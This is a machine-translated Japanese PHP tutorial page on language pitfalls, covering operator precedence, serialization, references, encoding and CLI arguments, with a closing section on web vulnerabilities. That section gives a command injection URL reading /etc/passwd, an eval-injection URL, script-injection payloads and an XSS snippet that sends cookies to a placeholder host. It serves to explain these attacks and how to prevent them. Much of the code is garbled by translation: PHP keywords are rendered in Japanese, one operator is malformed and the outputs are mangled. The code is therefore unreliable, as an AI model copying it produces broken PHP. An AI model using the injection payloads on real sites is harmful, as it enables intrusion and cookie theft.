ホームページ >バックエンド開発 >PHPチュートリアル >PHP プログラミングに関する考慮事項_PHP チュートリアル

PHP プログラミングに関する考慮事項_PHP チュートリアル

WBOY
WBOYオリジナル
2016-07-14 10:08:36690ブラウズ

1. PHP の暗黙的な三項演算子 (?:) の優先順位の問題:

例 1:
$person = $who または $person = "ラルエンス";
//実際には次と同等です:
$person = emptyempty($who)? "ラルエンス" : $who;
例 2
$arr = 配列(1=>1,3=>3);
$i = 2;
$a = 'テスト' . isset($arr[$i]) : $i;
$a とは何ですか? この質問は一見簡単そうに見えますが、
$a = 'テスト2';
実際、慎重に検討して実行した結果、次のようになります: 未定義のインデックス 2..
優先順位の問題により、コネクタは三項演算子よりも高い優先順位を持っています。
最初のステップは 'test' を判断することです。 isset($arr[$i]) この文字列は常に true です:
$a = $arr[$i]; php にプロンプ​​トが表示されます。
2. PHP 関数名とクラス名は大文字と小文字を区別しませんが、変数名は大文字と小文字を区別します。
そのため、私が作成した PHP モジュールには大文字小文字の問題が発生し、コンパイルに失敗することがよくあります。
3. 連載中の配信問題
複雑なデータ型を文字列に圧縮する
serialize() は変数とその値をテキスト形式にエンコードします
unserialize() は元の変数を復元します
$stooges = array('Moe','Larry','Curly');
$new = シリアライズ($stooges);
print_r($new);エコー "
";
print_r(unserialize($new));
結果: a:3:{i:0;s:3:"Moe";i:1;s:5:"Larry";i:2;s:5:"Curly";}
配列 ([0] => モー [1] => ラリー [2] => カーリー)
これらのシリアル化されたデータを URL に入れてページ間で渡すときは、データに対して urlencode() を呼び出して、データ内の URL メタ文字が確実に処理されるようにする必要があります。
$shopping = array('ケシの実ベーグル' => 2,'プレーンベーグル' => 1,'Lox' => 4);
echo 'next';
marginic_quotes_gpc および magic_quotes_runtime 構成項目の設定は、unserialize() に渡されるデータに影響します。
magic_quotes_gpc オプションが有効な場合、URL、POST 変数、および Cookie で渡されたデータは、逆シリアル化の前に、stripslashes() で処理する必要があります。
$new_cart = unserialize(stripslashes($cart)); //magic_quotes_gpc がオンの場合
$new_cart = アンシリアライズ($cart);
magic_quotes_runtime が有効な場合、シリアル化されたデータは、ファイルに書き込む前に addslashes() で処理し、読み取る前にtripslashes() で処理する必要があります。
$fp = fopen('/tmp/cart','w');
fputs($fp,addslashes(serialize($a)));
fclose($fp);
//magic_quotes_runtime がオンになっている場合
$new_cat = unserialize(stripslashes(file_get_contents('/tmp/cart')));
//magic_quotes_runtime がオフの場合
$new_cat = unserialize(file_get_contents('/tmp/cart'));
magic_quotes_runtime が有効な場合、データベースから読み取られたシリアル化されたデータは、stripslashes() によって処理される必要があり、データベースに保存されたシリアル化されたデータは、適切に保存できるように addslashes() によって処理される必要があります。
mysql_query("カート(id,data)に挿入します。values(1,'".addslashes(serialize($cart))."')");
$rs = mysql_query('ID=1 のカートからデータを選択');
$ob = mysql_fetch_object($rs);
//magic_quotes_runtime がオンになっている場合
$new_cart = unserialize(stripslashes($ob->data));
//magic_quotes_runtime がオフの場合
$new_cart = unserialize($ob->data);
オブジェクトを逆シリアル化するとき、PHP は自動的に __wakeUp() メソッドを呼び出します。これにより、オブジェクトはシリアル化中に保存されなかったさまざまな状態を再確立できるようになります。例: データベース接続など。
4. 引用に関する注意事項
PHP での参照は、同じ変数の内容に異なる名前でアクセスすることを意味します。参照は C のポインターではありません (C 言語のポインターは、変数の内容とメモリに格納されているアドレスを格納します)。変数。 。 PHP では変数名と変数の内容が異なるため、同じ内容でも異なる名前が付けられることに注意してください。最も近い類似点は、Unix のファイル名とファイル自体です。変数名はディレクトリ エントリであり、変数の内容はファイル自体です。参照は、Unix ファイル システム内の緊密なリンク、または勝利へのショートカットとして考えることができます。
1) 参照の設定を解除すると、変数名と変数の内容の間のバインドが解除されるだけです。これは変数の内容が破壊されるという意味ではありません
例: $b の設定は解除されず、$a のみが設定解除されます。
$a = 1;
$b =& $a ;
設定解除 ( $a );
echo $b; //出力: 1:
unset($a) と $a=null を使用した結果は異なります。メモリのブロックに $a のマッピングが 1 つだけある場合、unset($a) は $a=null と同等になり、メモリのブロックに $a のマッピングが 2 つある場合は自動的にリサイクルされます。 $a と $b を組み合わせた場合、 unset($a) を実行すると $a=null が発生し、 $b は変更されず、 $a=null を実行すると $a=$b=null が発生します。
理由: 変数に null を代入すると、その変数に対応するメモリ ブロックの参照カウントが直接 0 に設定され、自動的にリサイクルされます。
2) PHP 参照は参照カウントとコピーオンライトを使用します
多くの人は、Php の参照が C のポインターと同じであると誤解しています。実際には、それらは異なり、大きく異なります。配列転送プロセス中に明示的に宣言する必要のない C 言語のポインターを除き、他のポイントは * を使用して定義する必要があります。ただし、PHP のアドレスへのポインター (ポインターと同様) 関数は、はい、PHP の参照は、その名前が示すように、「参照カウント、コピーオンライト」(Copy-on-Write、COW とも略されます) の原則を採用しています。書き込み時に実際にはメモリのコピーがコピーされます。
つまり、書き込み操作が発生しない限り、次のコードのように、同じアドレスを指す変数またはオブジェクトはコピーされません。
$a = 配列('a','c'...'n');
$b = $a;
プログラムがここでのみ実行される場合、 $b と $b は同じですが、C のように異なるメモリ空間を占有することはありません。代わりに、これらは同じメモリを指します。これが php と c の違いです。 $b が $a のメモリを指すように $b=&$a と記述する必要はありません。zend はすでに参照の実装を支援しており、zend はこれをいつ行うべきかを判断するのに非常に役立ちます。このように対処すべきではないとき。
後で次のコードを書き続ける場合は、関数を追加し、パラメーターを参照渡しして、配列のサイズを出力します。
function printArray(&$arr) //参照渡し
{
print(count($arr));
}
printArray($a);
上記のコードでは、参照によって $a 配列を printArray() 関数に渡します。zend エンジンは printArray() によって $a が変更される可能性があると判断し、この時点で $a データを自動的に生成します。 $b. メモリをコピーして、ストレージに再適用します。これが、前述した「参照カウント、コピーオンライト」の概念です。
直感的な理解: $a は独自の元のメモリ空間を使用し、$b は新しく開かれたメモリ空間を使用し、この空間は $a の元の ($a または $b が変更される前) コンテンツ空間の内容を使用します。これをコピーして、その後、対応する変更を加えます。
上記のコードを次のように変更すると:
function printArray($arr) //値の転送
{
print(count($arr));
}
printArray($a);
上記のコードは $a 値を printArray() に直接渡します。現時点では参照転送がないため、コピーオンライトは行われません。
引用の詳細については、PHP での引用の詳細な説明 (参照カウント、コピーオンライト) を参照してください
5. エンコーディングの問題
プログラムコードはUTF-8コードを使用していますが、strlen関数は文字数ではなく文字列のバイト数を計算しますか?
$str = "こんにちは、こんにちは";
エコー strlen($str);
結果: ANSI=9 および utf-8=11、utf-8 の中国語文字エンコーディングは 3 バイトです。文字数を取得するには、mb_strlen()を使用します。
6. PHP でパラメータを取得する 3 つの方法
方法 1 $argc $argv を使用する
if ($argc > 1){
print_r($argv);
}
コマンドラインから /usr/local/php/bin/php ./getopt.php -f 123 -g 456 を実行します
実行結果:
# /usr/local/php/bin/php ./getopt.php -f 123 -g 456
配列
(
& [0] = & gt;
[1] => -f
& [2] = & gt; & [3] = & gt;
[4] => 456
)
方法 2: getopt function() を使用する
$オプション = "f:g:";
$opts = getopt( $options );
print_r($opts);
コマンドラインから /usr/local/php/bin/php ./getopt.php -f 123 -g 456 を実行します
実行結果:
配列
(
& [F] = & gt; & [G] = & gt;
)
方法 3: ユーザーに入力を求め、入力パラメーターを取得します。 C言語に少し似ています
fwrite(STDOUT, "名前を入力してください: ");
$name = トリム(fgets(STDIN));
fwrite(STDOUT, "こんにちは、$name!");
コマンドラインから /usr/local/php/bin/php ./getopt.php を実行します
ランニング結果
あなたの名前を入力してください: フランシス
こんにちは、フランシス!
7. PHP 文字列は、C ポインター文字列と同様に配列として使用できます
$s = '12345';
$s[$s[0]] = 0;
エコー$s
?>
結果は10345です
8. PHP を記述する非常に効率的な方法:
参考:高効率なPHPの書き方(理由の詳しい解説)
9. PHP のセキュリティ脆弱性:
PHP Webサイトに対する攻撃手法は主に以下のとおりです。
1. コマンドインジェクション
次の 5 つの関数を PHP で使用して、外部アプリケーションまたは関数を実行できます: system、exec、passthru、shell_exec、「(shell_exec と同じ関数)」
例:
$dir = $_GET["dir"];
if (isset($dir)) {
エコー「」
;
システム("ls -al ".$dir);
エコー「」
;
}
?>
http://www.test.com/ex1.php?dir=| cat /etc/passwd を送信すると、コマンドは system("ls -al | cat /etc/passwd") になりました。覗いてみてください。
2. evalインジェクション(Evalインジェクション)
eval 関数は、入力文字列パラメーターを PHP プログラム コードとして実行します。Eval インジェクションは通常、攻撃者が入力文字列を制御できる場合に発生します。
$var = "変数";
if (isset($_GET["arg"]))
{
$arg = $_GET["arg"]
eval("$var = $arg;");
エコー "$var =".$var;
}
?>
http://www.sectop.com/ex2.php?arg=phpinfo(); を送信すると、脆弱性が発生します。
コマンドインジェクションとevalインジェクションを防ぐ方法
1) 外部コマンドを実行しないようにしてください。
2) カスタム関数または関数ライブラリを使用して、外部コマンドの関数を置き換えます。サーバーによっては、これらの関数の使用を直接禁止している場合もあります。
3) コマンドパラメータを処理するには、escapeshellarg 関数を使用します。esacpeshellarg 関数は、パラメータまたはコマンドの終わりを引き起こす文字をエスケープします。一重引用符「'」は「'」に置き換えられ、二重引用符は「"」に置き換えられます。は """ に置き換えられ、セミコロン ";" は ";" に置き換えられます
3. クライアント側のスクリプト攻撃(スクリプト挿入)
クライアントサイドスクリプト埋め込み攻撃手順
1) 攻撃者は通常のユーザーとして登録した後、Web サイトにログインします。
2) メッセージページを開き、攻撃用のJSコードを挿入します
3) 他のユーザー (管理者を含む) が Web サイトにログインし、このメッセージの内容を閲覧します
4) メッセージ内容に隠されていたjsコードが実行され、攻撃が成功しました
フォームには、ブラウザが実行できるいくつかのスクリプトが入力されます:
<script>while(1){windows.open();}</script>無限ポップアップボックスを挿入します
<script>location.href="http://www.sectop.com";</script> を挿入すると、フィッシング ページにジャンプします
悪意のある HTML タグを防ぐ最善の方法は、htmlspecailchars または htmlentities を使用して特定の文字列を HTML エンティティに変換することです。
4. クロスサイトスクリプティング (XSS)
悪意のある攻撃者は、Web ページに悪意のある HTML コードを挿入し、ユーザーがそのページを閲覧すると、Web に埋め込まれた HTML コードが実行され、悪意のあるユーザーの特別な目的が達成されます。
クロスサイト スクリプティングは、攻撃者が Web サイト ユーザーの Cookie やその他の個人データを読み取るために主に使用され、攻撃者がこのデータを取得すると、このユーザーになりすまして Web サイトにログインし、このユーザーの許可を取得することができます。
クロスサイトスクリプティング攻撃の一般的な手順:
1) 攻撃者は、コメント フォームなどの何らかの方法で xss http リンクをターゲット ユーザーに送信します。
<スクリプト>ドキュメントを挿入.location= “go.somewhere.bad?cookie=+”this.cookie
またはリンク:
http://w w w.my.site/index.php?user=

http://www.bkjia.com/PHPjc/477758.htmlwww.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/477758.html技術記事 1. PHP の暗黙的な三項演算子 (?:) の優先順位の問題: 例 1: $person = $who または $person = laruence; //実際には次と同等です: $person = emptyempty($who)? 例 2 $ arr =...
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
前の記事:[php拡張子と埋め込み] - ビルド環境のインストール_PHPチュートリアル次の記事:[php拡張子と埋め込み] - ビルド環境のインストール_PHPチュートリアル

関連記事

続きを見る